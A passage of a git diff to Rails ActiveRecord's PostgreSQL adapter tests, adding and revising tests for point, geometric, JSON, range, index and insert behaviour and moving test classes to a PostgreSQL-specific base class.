attribute :y, :point + attribute :z, :point + attribute :array_of_points, :point, array: true + attribute :legacy_x, :legacy_point + attribute :legacy_y, :legacy_point + attribute :legacy_z, :legacy_point + end def setup @connection = ActiveRecord::Base.connection @@ -14,11 +22,27 @@ class PostgresqlPointTest < ActiveRecord::TestCase t.point :x t.point :y, default: [12.2, 13.3] t.point :z, default: "(14.4,15.5)" + t.point :array_of_points, array: true + t.point :legacy_x + t.point :legacy_y, default: [12.2, 13.3] + t.point :legacy_z, default: "(14.4,15.5)" + end + @connection.create_table('deprecated_points') do |t| + t.point :x end end teardown do @connection.drop_table 'postgresql_points', if_exists: true + @connection.drop_table 'deprecated_points', if_exists: true + end + + class DeprecatedPoint < ActiveRecord::Base; end + + def test_deprecated_legacy_type + assert_deprecated do + DeprecatedPoint.new + end end def test_column @@ -32,11 +56,11 @@ class PostgresqlPointTest < ActiveRecord::TestCase end def test_default - assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults['y'] - assert_equal [12.2, 13.3], PostgresqlPoint.new.y + assert_equal ActiveRecord::Point.new(12.2, 13.3), PostgresqlPoint.column_defaults['y'] + assert_equal ActiveRecord::Point.new(12.2, 13.3), PostgresqlPoint.new.y - assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults['z'] - assert_equal [14.4, 15.5], PostgresqlPoint.new.z + assert_equal ActiveRecord::Point.new(14.4, 15.5), PostgresqlPoint.column_defaults['z'] + assert_equal ActiveRecord::Point.new(14.4, 15.5), PostgresqlPoint.new.z end def test_schema_dumping @@ -49,37 +73,119 @@ class PostgresqlPointTest < ActiveRecord::TestCase def test_roundtrip PostgresqlPoint.create! x: [10, 25.2] record = PostgresqlPoint.first - assert_equal [10, 25.2], record.x + assert_equal ActiveRecord::Point.new(10, 25.2), record.x - record.x = [1.1, 2.2] + record.x = ActiveRecord::Point.new(1.1, 2.2) record.save! assert record.reload - assert_equal [1.1, 2.2], record.x + assert_equal ActiveRecord::Point.new(1.1, 2.2), record.x end def test_mutation - p = PostgresqlPoint.create! x: [10, 20] + p = PostgresqlPoint.create! x: ActiveRecord::Point.new(10, 20) - p.x[1] = 25 + p.x.y = 25 p.save! p.reload - assert_equal [10.0, 25.0], p.x + assert_equal ActiveRecord::Point.new(10.0, 25.0), p.x + assert_not p.changed? + end + + def test_array_assignment + p = PostgresqlPoint.new(x: [1, 2]) + + assert_equal ActiveRecord::Point.new(1, 2), p.x + end + + def test_string_assignment + p = PostgresqlPoint.new(x: "(1, 2)") + + assert_equal ActiveRecord::Point.new(1, 2), p.x + end + + def test_empty_string_assignment + assert_nothing_raised { PostgresqlPoint.new(x: "") } + + p = PostgresqlPoint.new(x: "") + assert_equal nil, p.x + end + + def test_array_of_points_round_trip + expected_value = [ + ActiveRecord::Point.new(1, 2), + ActiveRecord::Point.new(2, 3), + ActiveRecord::Point.new(3, 4), + ] + p = PostgresqlPoint.new(array_of_points: expected_value) + + assert_equal expected_value, p.array_of_points + p.save! + p.reload + assert_equal expected_value, p.array_of_points + end + + def test_legacy_column + column = PostgresqlPoint.columns_hash["legacy_x"] + assert_equal :point, column.type + assert_equal "point", column.sql_type + assert_not column.array? + + type = PostgresqlPoint.type_for_attribute("legacy_x") + assert_not type.binary? + end + + def test_legacy_default + assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults['legacy_y'] + assert_equal [12.2, 13.3], PostgresqlPoint.new.legacy_y + + assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults['legacy_z'] + assert_equal [14.4, 15.5], PostgresqlPoint.new.legacy_z + end + + def test_legacy_schema_dumping + output = dump_table_schema("postgresql_points") + assert_match %r{t\.point\s+"legacy_x"$}, output + assert_match %r{t\.point\s+"legacy_y",\s+default: \[12\.2, 13\.3\]$}, output + assert_match %r{t\.point\s+"legacy_z",\s+default: \[14\.4, 15\.5\]$}, output + end + + def test_legacy_roundtrip + PostgresqlPoint.create! legacy_x: [10, 25.2] + record = PostgresqlPoint.first + assert_equal [10, 25.2], record.legacy_x + + record.legacy_x = [1.1, 2.2] + record.save! + assert record.reload + assert_equal [1.1, 2.2], record.legacy_x + end + + def test_legacy_mutation + p = PostgresqlPoint.create! legacy_x: [10, 20] + + p.legacy_x[1] = 25 + p.save! + p.reload + + assert_equal [10.0, 25.0], p.legacy_x assert_not p.changed? end end -class PostgresqlGeometricTest < ActiveRecord::TestCase +class PostgresqlGeometricTest < ActiveRecord::PostgreSQLTestCase + include SchemaDumpingHelper + class PostgresqlGeometric < ActiveRecord::Base; end setup do @connection = ActiveRecord::Base.connection @connection.create_table("postgresql_geometrics") do |t| - t.column :a_line_segment, :lseg - t.column :a_box, :box - t.column :a_path, :path - t.column :a_polygon, :polygon - t.column :a_circle, :circle + t.lseg :a_line_segment + t.box :a_box + t.path :a_path + t.polygon :a_polygon + t.circle :a_circle end end @@ -136,4 +242,144 @@ class PostgresqlGeometricTest < ActiveRecord::TestCase objs = PostgresqlGeometric.find_by_sql "SELECT isclosed(a_path) FROM postgresql_geometrics ORDER BY id ASC" assert_equal [false, true], objs.map(&:isclosed) end + + def test_schema_dumping + output = dump_table_schema("postgresql_geometrics") + assert_match %r{t\.lseg\s+"a_line_segment"$}, output + assert_match %r{t\.box\s+"a_box"$}, output + assert_match %r{t\.path\s+"a_path"$}, output + assert_match %r{t\.polygon\s+"a_polygon"$}, output + assert_match %r{t\.circle\s+"a_circle"$}, output + end +end + +class PostgreSQLGeometricLineTest < ActiveRecord::PostgreSQLTestCase + include SchemaDumpingHelper + + class PostgresqlLine < ActiveRecord::Base; end + + setup do + unless ActiveRecord::Base.connection.send(:postgresql_version) >= 90400 + skip("line type is not fully implemented") + end + @connection = ActiveRecord::Base.connection + @connection.create_table("postgresql_lines") do |t| + t.line :a_line + end + end + + teardown do + if defined?(@connection) + @connection.drop_table 'postgresql_lines', if_exists: true + end + end + + def test_geometric_line_type + g = PostgresqlLine.new( + a_line: '{2.0, 3, 5.5}' + ) + g.save! + + h = PostgresqlLine.find(g.id) + assert_equal '{2,3,5.5}', h.a_line + end + + def test_alternative_format_line_type + g = PostgresqlLine.new( + a_line: '(2.0, 3), (4.0, 6.0)' + ) + g.save! + + h = PostgresqlLine.find(g.id) + assert_equal '{1.5,-1,0}', h.a_line + end + + def test_schema_dumping_for_line_type + output = dump_table_schema("postgresql_lines") + assert_match %r{t\.line\s+"a_line"$}, output + end +end + +class PostgreSQLGeometricTypesTest < ActiveRecord::PostgreSQLTestCase + attr_reader :connection, :table_name + + def setup + super + @connection = ActiveRecord::Base.connection + @table_name = :testings + end + + def test_creating_column_with_point_type + connection.create_table(table_name) do |t| + t.point :foo_point + end + + assert_column_exists(:foo_point) + assert_type_correct(:foo_point, :point) + end + + def test_creating_column_with_line_type + connection.create_table(table_name) do |t| + t.line :foo_line + end + + assert_column_exists(:foo_line) + assert_type_correct(:foo_line, :line) + end + + def test_creating_column_with_lseg_type + connection.create_table(table_name) do |t| + t.lseg :foo_lseg + end + + assert_column_exists(:foo_lseg) + assert_type_correct(:foo_lseg, :lseg) + end + + def test_creating_column_with_box_type + connection.create_table(table_name) do |t| + t.box :foo_box + end + + assert_column_exists(:foo_box) + assert_type_correct(:foo_box, :box) + end + + def test_creating_column_with_path_type + connection.create_table(table_name) do |t| + t.path :foo_path + end + + assert_column_exists(:foo_path) + assert_type_correct(:foo_path, :path) + end + + def test_creating_column_with_polygon_type + connection.create_table(table_name) do |t| + t.polygon :foo_polygon + end + + assert_column_exists(:foo_polygon) + assert_type_correct(:foo_polygon, :polygon) + end + + def test_creating_column_with_circle_type + connection.create_table(table_name) do |t| + t.circle :foo_circle + end + + assert_column_exists(:foo_circle) + assert_type_correct(:foo_circle, :circle) + end + + private + + def assert_column_exists(column_name) + assert connection.column_exists?(table_name, column_name) + end + + def assert_type_correct(column_name, type) + column = connection.columns(table_name).find { |c| c.name == column_name.to_s } + assert_equal type, column.type + end end diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb index ad9dd311a6..27cc65a643 100644 --- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb +++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb @@ -2,7 +2,7 @@ require "cases/helper" require 'support/schema_dumping_helper' if ActiveRecord::Base.connection.supports_extensions? - class PostgresqlHstoreTest < ActiveRecord::TestCase + class PostgresqlHstoreTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class Hstore < ActiveRecord::Base self.table_name = 'hstores' @@ -86,7 +86,7 @@ if ActiveRecord::Base.connection.supports_extensions? end def test_hstore_migration - hstore_migration = Class.new(ActiveRecord::Migration) do + hstore_migration = Class.new(ActiveRecord::Migration::Current) do def change change_table("hstores") do |t| t.hstore :keys diff --git a/activerecord/test/cases/adapters/postgresql/infinity_test.rb b/activerecord/test/cases/adapters/postgresql/infinity_test.rb index 24199c69b8..bfda933fa4 100644 --- a/activerecord/test/cases/adapters/postgresql/infinity_test.rb +++ b/activerecord/test/cases/adapters/postgresql/infinity_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -class PostgresqlInfinityTest < ActiveRecord::TestCase +class PostgresqlInfinityTest < ActiveRecord::PostgreSQLTestCase include InTimeZone class PostgresqlInfinity < ActiveRecord::Base @@ -24,6 +24,15 @@ class PostgresqlInfinityTest < ActiveRecord::TestCase assert_equal Float::INFINITY, record.float end + test "type casting string on a float column" do + record = PostgresqlInfinity.new(float: 'Infinity') + assert_equal Float::INFINITY, record.float + record = PostgresqlInfinity.new(float: '-Infinity') + assert_equal(-Float::INFINITY, record.float) + record = PostgresqlInfinity.new(float: 'NaN') + assert_send [record.float, :nan?] + end + test "update_all with infinity on a float column" do record = PostgresqlInfinity.create! PostgresqlInfinity.update_all(float: Float::INFINITY) diff --git a/activerecord/test/cases/adapters/postgresql/integer_test.rb b/activerecord/test/cases/adapters/postgresql/integer_test.rb index 679a0fc7b3..b4e55964b9 100644 --- a/activerecord/test/cases/adapters/postgresql/integer_test.rb +++ b/activerecord/test/cases/adapters/postgresql/integer_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require "active_support/core_ext/numeric/bytes" -class PostgresqlIntegerTest < ActiveRecord::TestCase +class PostgresqlIntegerTest < ActiveRecord::PostgreSQLTestCase class PgInteger < ActiveRecord::Base end diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb index 6878516aeb..663de680b5 100644 --- a/activerecord/test/cases/adapters/postgresql/json_test.rb +++ b/activerecord/test/cases/adapters/postgresql/json_test.rb @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- require "cases/helper" require 'support/schema_dumping_helper' @@ -39,7 +38,7 @@ module PostgresqlJSONSharedTestCases end def test_default - @connection.add_column 'json_data_type', 'permissions', column_type, default: '{"users": "read", "posts": ["read", "write"]}' + @connection.add_column 'json_data_type', 'permissions', column_type, default: {"users": "read", "posts": ["read", "write"]} JsonDataType.reset_column_information assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.column_defaults['permissions']) @@ -179,16 +178,23 @@ module PostgresqlJSONSharedTestCases assert_not json.changed? end - def test_assigning_invalid_json - json = JsonDataType.new + def test_assigning_string_literal + json = JsonDataType.create(payload: "foo") + assert_equal "foo", json.payload + end - json.payload = 'foo' + def test_assigning_number + json = JsonDataType.create(payload: 1.234) + assert_equal 1.234, json.payload + end - assert_nil json.payload + def test_assigning_boolean + json = JsonDataType.create(payload: true) + assert_equal true, json.payload end end -class PostgresqlJSONTest < ActiveRecord::TestCase +class PostgresqlJSONTest < ActiveRecord::PostgreSQLTestCase include PostgresqlJSONSharedTestCases def column_type @@ -196,7 +202,7 @@ class PostgresqlJSONTest < ActiveRecord::TestCase end end -class PostgresqlJSONBTest < ActiveRecord::TestCase +class PostgresqlJSONBTest < ActiveRecord::PostgreSQLTestCase include PostgresqlJSONSharedTestCases def column_type diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb index ce0ad16557..56516c82b4 100644 --- a/activerecord/test/cases/adapters/postgresql/ltree_test.rb +++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlLtreeTest < ActiveRecord::TestCase +class PostgresqlLtreeTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class Ltree < ActiveRecord::Base self.table_name = 'ltrees' diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb index cedd399380..c031178479 100644 --- a/activerecord/test/cases/adapters/postgresql/money_test.rb +++ b/activerecord/test/cases/adapters/postgresql/money_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlMoneyTest < ActiveRecord::TestCase +class PostgresqlMoneyTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class PostgresqlMoney < ActiveRecord::Base; end @@ -56,7 +56,7 @@ class PostgresqlMoneyTest < ActiveRecord::TestCase def test_schema_dumping output = dump_table_schema("postgresql_moneys") assert_match %r{t\.money\s+"wealth",\s+scale: 2$}, output - assert_match %r{t\.money\s+"depth",\s+scale: 2,\s+default: 150\.55$}, output + assert_match %r{t\.money\s+"depth",\s+scale: 2,\s+default: "150\.55"$}, output end def test_create_and_update_money diff --git a/activerecord/test/cases/adapters/postgresql/network_test.rb b/activerecord/test/cases/adapters/postgresql/network_test.rb index 033695518e..fe6ee4e2d9 100644 --- a/activerecord/test/cases/adapters/postgresql/network_test.rb +++ b/activerecord/test/cases/adapters/postgresql/network_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlNetworkTest < ActiveRecord::TestCase +class PostgresqlNetworkTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class PostgresqlNetworkAddress < ActiveRecord::Base; end diff --git a/activerecord/test/cases/adapters/postgresql/numbers_test.rb b/activerecord/test/cases/adapters/postgresql/numbers_test.rb index 093b81fe8d..ba7e7dc9a3 100644 --- a/activerecord/test/cases/adapters/postgresql/numbers_test.rb +++ b/activerecord/test/cases/adapters/postgresql/numbers_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -class PostgresqlNumberTest < ActiveRecord::TestCase +class PostgresqlNumberTest < ActiveRecord::PostgreSQLTestCase class PostgresqlNumber < ActiveRecord::Base; end setup do @@ -31,7 +31,7 @@ class PostgresqlNumberTest < ActiveRecord::TestCase assert_equal 123456.789, first.double assert_equal(-::Float::INFINITY, second.single) assert_equal ::Float::INFINITY, second.double - assert_same ::Float::NAN, third.double + assert_send [third.double, :nan?] end def test_update diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb index a934180a43..9832df7839 100644 --- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb +++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb @@ -4,7 +4,8 @@ require 'support/connection_helper' module ActiveRecord module ConnectionAdapters - class PostgreSQLAdapterTest < ActiveRecord::TestCase + class PostgreSQLAdapterTest < ActiveRecord::PostgreSQLTestCase + self.use_transactional_tests = false include DdlHelper include ConnectionHelper @@ -53,80 +54,44 @@ module ActiveRecord end end - def test_composite_primary_key - with_example_table 'id serial, number serial, PRIMARY KEY (id, number)' do - assert_nil @connection.primary_key('ex') - end - end - def test_primary_key_raises_error_if_table_not_found assert_raises(ActiveRecord::StatementInvalid) do @connection.primary_key('unobtainium') end end - def test_insert_sql_with_proprietary_returning_clause - with_example_table do - id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number") - assert_equal "5150", id - end - end - - def test_insert_sql_with_quoted_schema_and_table_name - with_example_table do - id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)') - expect = @connection.query('select max(id) from ex').first.first - assert_equal expect, id - end - end - - def test_insert_sql_with_no_space_after_table_name - with_example_table do - id = @connection.insert_sql("insert into ex(number) values(5150)") - expect = @connection.query('select max(id) from ex').first.first - assert_equal expect, id - end - end - - def test_multiline_insert_sql - with_example_table do - id = @connection.insert_sql(<<-SQL) - insert into ex( - number) - values( - 5152 - ) - SQL - expect = @connection.query('select max(id) from ex').first.first - assert_equal expect, id - end + def test_exec_insert_with_returning_disabled + connection = connection_without_insert_returning + result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id', 'postgresql_partitioned_table_parent_id_seq') + expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first + assert_equal expect.to_i, result.rows.first.first end - def test_insert_sql_with_returning_disabled + def test_exec_insert_with_returning_disabled_and_no_sequence_name_given connection = connection_without_insert_returning - id = connection.insert_sql("insert into postgresql_partitioned_table_parent (number) VALUES (1)") + result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id') expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first - assert_equal expect, id + assert_equal expect.to_i, result.rows.first.first end - def test_exec_insert_with_returning_disabled + def test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given connection = connection_without_insert_returning - result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id', 'postgresql_partitioned_table_parent_id_seq') + result = connection.exec_insert("insert into postgresql_partitioned_table_parent DEFAULT VALUES", nil, [], 'id') expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first - assert_equal expect, result.rows.first.first + assert_equal expect.to_i, result.rows.first.first end - def test_exec_insert_with_returning_disabled_and_no_sequence_name_given + def test_exec_insert_default_values_quoted_schema_with_returning_disabled_and_no_sequence_name_given connection = connection_without_insert_returning - result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id') + result = connection.exec_insert('insert into "public"."postgresql_partitioned_table_parent" DEFAULT VALUES', nil, [], 'id') expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first - assert_equal expect, result.rows.first.first + assert_equal expect.to_i, result.rows.first.first end def test_sql_for_insert_with_returning_disabled connection = connection_without_insert_returning - result = connection.sql_for_insert('sql', nil, nil, nil, 'binds') - assert_equal ['sql', 'binds'], result + sql, binds = connection.sql_for_insert('sql', nil, nil, nil, 'binds') + assert_equal ['sql', 'binds'], [sql, binds] end def test_serial_sequence @@ -231,30 +196,6 @@ module ActiveRecord @connection.drop_table 'ex2', if_exists: true end - def test_exec_insert_number - with_example_table do - insert(@connection, 'number' => 10) - - result = @connection.exec_query('SELECT number FROM ex WHERE number = 10') - - assert_equal 1, result.rows.length - assert_equal "10", result.rows.last.last - end - end - - def test_exec_insert_string - with_example_table do - str = 'ã„ãŸã ãã¾ã™ï¼' - insert(@connection, 'number' => 10, 'data' => str) - - result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10') - - value = result.rows.last.last - - assert_equal str, value - end - end - def test_table_alias_length assert_nothing_raised do @connection.table_alias_length @@ -274,45 +215,42 @@ module ActiveRecord assert_equal 1, result.rows.length assert_equal 2, result.columns.length - assert_equal [['1', 'foo']], result.rows + assert_equal [[1, 'foo']], result.rows end end - def test_exec_with_binds - with_example_table do - string = @connection.quote('foo') - @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})") - result = @connection.exec_query( - 'SELECT id, data FROM ex WHERE id = $1', nil, [bind_param(1)]) + if ActiveRecord::Base.connection.prepared_statements + def test_exec_with_binds + with_example_table do + string = @connection.quote('foo') + @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})") - assert_equal 1, result.rows.length - assert_equal 2, result.columns.length + bind = Relation::QueryAttribute.new("id", 1, Type::Value.new) + result = @connection.exec_query('SELECT id, data FROM ex WHERE id = $1', nil, [bind]) + + assert_equal 1, result.rows.length + assert_equal 2, result.columns.length - assert_equal [['1', 'foo']], result.rows + assert_equal [[1, 'foo']], result.rows + end end - end - def test_exec_typecasts_bind_vals - with_example_table do - string = @connection.quote('foo') - @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})") + def test_exec_typecasts_bind_vals + with_example_table do + string = @connection.quote('foo') + @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})") - bind = ActiveRecord::Relation::QueryAttribute.new("id", "1-fuu", ActiveRecord::Type::Integer.new) - result = @connection.exec_query( - 'SELECT id, data FROM ex WHERE id = $1', nil, [bind]) + bind = Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new) + result = @connection.exec_query('SELECT id, data FROM ex WHERE id = $1', nil, [bind]) - assert_equal 1, result.rows.length - assert_equal 2, result.columns.length + assert_equal 1, result.rows.length + assert_equal 2, result.columns.length - assert_equal [['1', 'foo']], result.rows + assert_equal [[1, 'foo']], result.rows + end end end - def test_substitute_at - bind = @connection.substitute_at(nil) - assert_equal Arel.sql('$1'), bind.to_sql - end - def test_partial_index with_example_table do @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100" @@ -321,6 +259,22 @@ module ActiveRecord end end + def test_expression_index + with_example_table do + @connection.add_index 'ex', 'mod(id, 10), abs(number)', name: 'expression' + index = @connection.indexes('ex').find { |idx| idx.name == 'expression' } + assert_equal 'mod(id, 10), abs(number)', index.columns + end + end + + def test_index_with_opclass + with_example_table do + @connection.add_index 'ex', 'data varchar_pattern_ops', name: 'with_opclass' + index = @connection.indexes('ex').find { |idx| idx.name == 'with_opclass' } + assert_equal 'data varchar_pattern_ops', index.columns + end + end + def test_columns_for_distinct_zero_orders assert_equal "posts.id", @connection.columns_for_distinct("posts.id", []) @@ -435,19 +389,6 @@ module ActiveRecord end private - def insert(ctx, data) - binds = data.map { |name, value| - bind_param(value, name) - } - columns = binds.map(&:name) - - bind_subs = columns.length.times.map { |x| "$#{x + 1}" } - - sql = "INSERT INTO ex (#{columns.join(", ")}) - VALUES (#{bind_subs.join(', ')})" - - ctx.exec_insert(sql, 'SQL', binds) - end def with_example_table(definition = 'id serial primary key, number integer, data character varying(255)', &block) super(@connection, 'ex', definition, &block) @@ -456,10 +397,6 @@ module ActiveRecord def connection_without_insert_returning ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false)) end - - def bind_param(value, name = nil) - ActiveRecord::Relation::QueryAttribute.new(name, value, ActiveRecord::Type::Value.new) - end end end end diff --git a/activerecord/test/cases/adapters/postgresql/prepared_statements_test.rb b/activerecord/test/cases/adapters/postgresql/prepared_statements_test.rb new file mode 100644 index 0000000000..f1519db48b --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/prepared_statements_test.rb @@ -0,0 +1,22 @@ +require "cases/helper" +require "models/developer" + +class PreparedStatementsTest < ActiveRecord::PostgreSQLTestCase + fixtures :developers + + def setup + @default_prepared_statements = Developer.connection_config[:prepared_statements] + Developer.connection_config[:prepared_statements] = false + end + + def teardown + Developer.connection_config[:prepared_statements] = @default_prepared_statements + end + + def nothing_raised_with_falsy_prepared_statements + assert_nothing_raised do + Developer.where(id: 1) + end + end + +end diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb index e4420d9d13..5e6f4dbbb8 100644 --- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb +++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb @@ -4,7 +4,7 @@ require 'ipaddr' module ActiveRecord module ConnectionAdapters class PostgreSQLAdapter - class QuotingTest < ActiveRecord::TestCase + class QuotingTest < ActiveRecord::PostgreSQLTestCase def setup @conn = ActiveRecord::Base.connection end diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb index bbf96278b0..0edfa4ed9d 100644 --- a/activerecord/test/cases/adapters/postgresql/range_test.rb +++ b/activerecord/test/cases/adapters/postgresql/range_test.rb @@ -1,14 +1,16 @@ require "cases/helper" require 'support/connection_helper' -if ActiveRecord::Base.connection.supports_ranges? +if ActiveRecord::Base.connection.respond_to?(:supports_ranges?) && ActiveRecord::Base.connection.supports_ranges? class PostgresqlRange < ActiveRecord::Base self.table_name = "postgresql_ranges" + self.time_zone_aware_types += [:tsrange, :tstzrange] end - class PostgresqlRangeTest < ActiveRecord::TestCase + class PostgresqlRangeTest < ActiveRecord::PostgreSQLTestCase self.use_transactional_tests = false include ConnectionHelper + include InTimeZone def setup @connection = PostgresqlRange.connection @@ -160,6 +162,26 @@ _SQL assert_nil @empty_range.float_range end + def test_timezone_awareness_tzrange + tz = "Pacific Time (US & Canada)" + + in_time_zone tz do + PostgresqlRange.reset_column_information + time_string = Time.current.to_s + time = Time.zone.parse(time_string) + + record = PostgresqlRange.new(tstz_range: time_string..time_string) + assert_equal time..time, record.tstz_range + assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone + + record.save! + record.reload + + assert_equal time..time, record.tstz_range + assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone + end + end + def test_create_tstzrange tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT') round_trip(@new_range, :tstz_range, tstzrange) @@ -188,6 +210,26 @@ _SQL Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)) end + def test_timezone_awareness_tsrange + tz = "Pacific Time (US & Canada)" + + in_time_zone tz do + PostgresqlRange.reset_column_information + time_string = Time.current.to_s + time = Time.zone.parse(time_string) + + record = PostgresqlRange.new(ts_range: time_string..time_string) + assert_equal time..time, record.ts_range + assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone + + record.save! + record.reload + + assert_equal time..time, record.ts_range + assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone + end + end + def test_create_numrange assert_equal_round_trip(@new_range, :num_range, BigDecimal.new('0.5')...BigDecimal.new('1')) diff --git a/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb index d76e762815..c895ab9db5 100644 --- a/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb +++ b/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb @@ -1,7 +1,7 @@ require 'cases/helper' require 'support/connection_helper' -class PostgreSQLReferentialIntegrityTest < ActiveRecord::TestCase +class PostgreSQLReferentialIntegrityTest < ActiveRecord::PostgreSQLTestCase self.use_transactional_tests = false include ConnectionHelper @@ -106,6 +106,6 @@ class PostgreSQLReferentialIntegrityTest < ActiveRecord::TestCase private def assert_transaction_is_not_broken - assert_equal "1", @connection.select_value("SELECT 1") + assert_equal 1, @connection.select_value("SELECT 1") end end diff --git a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb index f507328868..bd64bae308 100644 --- a/activerecord/test/cases/adapters/postgresql/rename_table_test.rb +++ b/activerecord/test/cases/adapters/postgresql/rename_table_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -class PostgresqlRenameTableTest < ActiveRecord::TestCase +class PostgresqlRenameTableTest < ActiveRecord::PostgreSQLTestCase def setup @connection = ActiveRecord::Base.connection @connection.create_table :before_rename, force: true diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb index 359a45bbd1..285a92f60e 100644 --- a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb +++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb @@ -3,7 +3,7 @@ require "cases/helper" class SchemaThing < ActiveRecord::Base end -class SchemaAuthorizationTest < ActiveRecord::TestCase +class SchemaAuthorizationTest < ActiveRecord::PostgreSQLTestCase self.use_transactional_tests = false TABLE_NAME = 'schema_things' @@ -31,7 +31,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase set_session_auth @connection.execute "RESET search_path" USERS.each do |u| - @connection.execute "DROP SCHEMA #{u} CASCADE" + @connection.drop_schema u @connection.execute "DROP USER #{u}" end end @@ -55,20 +55,22 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase set_session_auth USERS.each do |u| set_session_auth u - assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [bind_param(1)]).first['name'] + assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1") set_session_auth end end end - def test_auth_with_bind - assert_nothing_raised do - set_session_auth - USERS.each do |u| - @connection.clear_cache! - set_session_auth u - assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [bind_param(1)]).first['name'] + if ActiveRecord::Base.connection.prepared_statements + def test_auth_with_bind + assert_nothing_raised do set_session_auth + USERS.each do |u| + @connection.clear_cache! + set_session_auth u + assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [bind_param(1)]) + set_session_auth + end end end end diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb index c1be340e7c..52ef07f654 100644 --- a/activerecord/test/cases/adapters/postgresql/schema_test.rb +++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb @@ -2,7 +2,19 @@ require "cases/helper" require 'models/default' require 'support/schema_dumping_helper' -class SchemaTest < ActiveRecord::TestCase +module PGSchemaHelper + def with_schema_search_path(schema_search_path) + @connection.schema_search_path = schema_search_path + @connection.schema_cache.clear! + yield if block_given? + ensure + @connection.schema_search_path = "'$user', public" + @connection.schema_cache.clear! + end +end + +class SchemaTest < ActiveRecord::PostgreSQLTestCase + include PGSchemaHelper self.use_transactional_tests = false SCHEMA_NAME = 'test_schema' @@ -84,8 +96,8 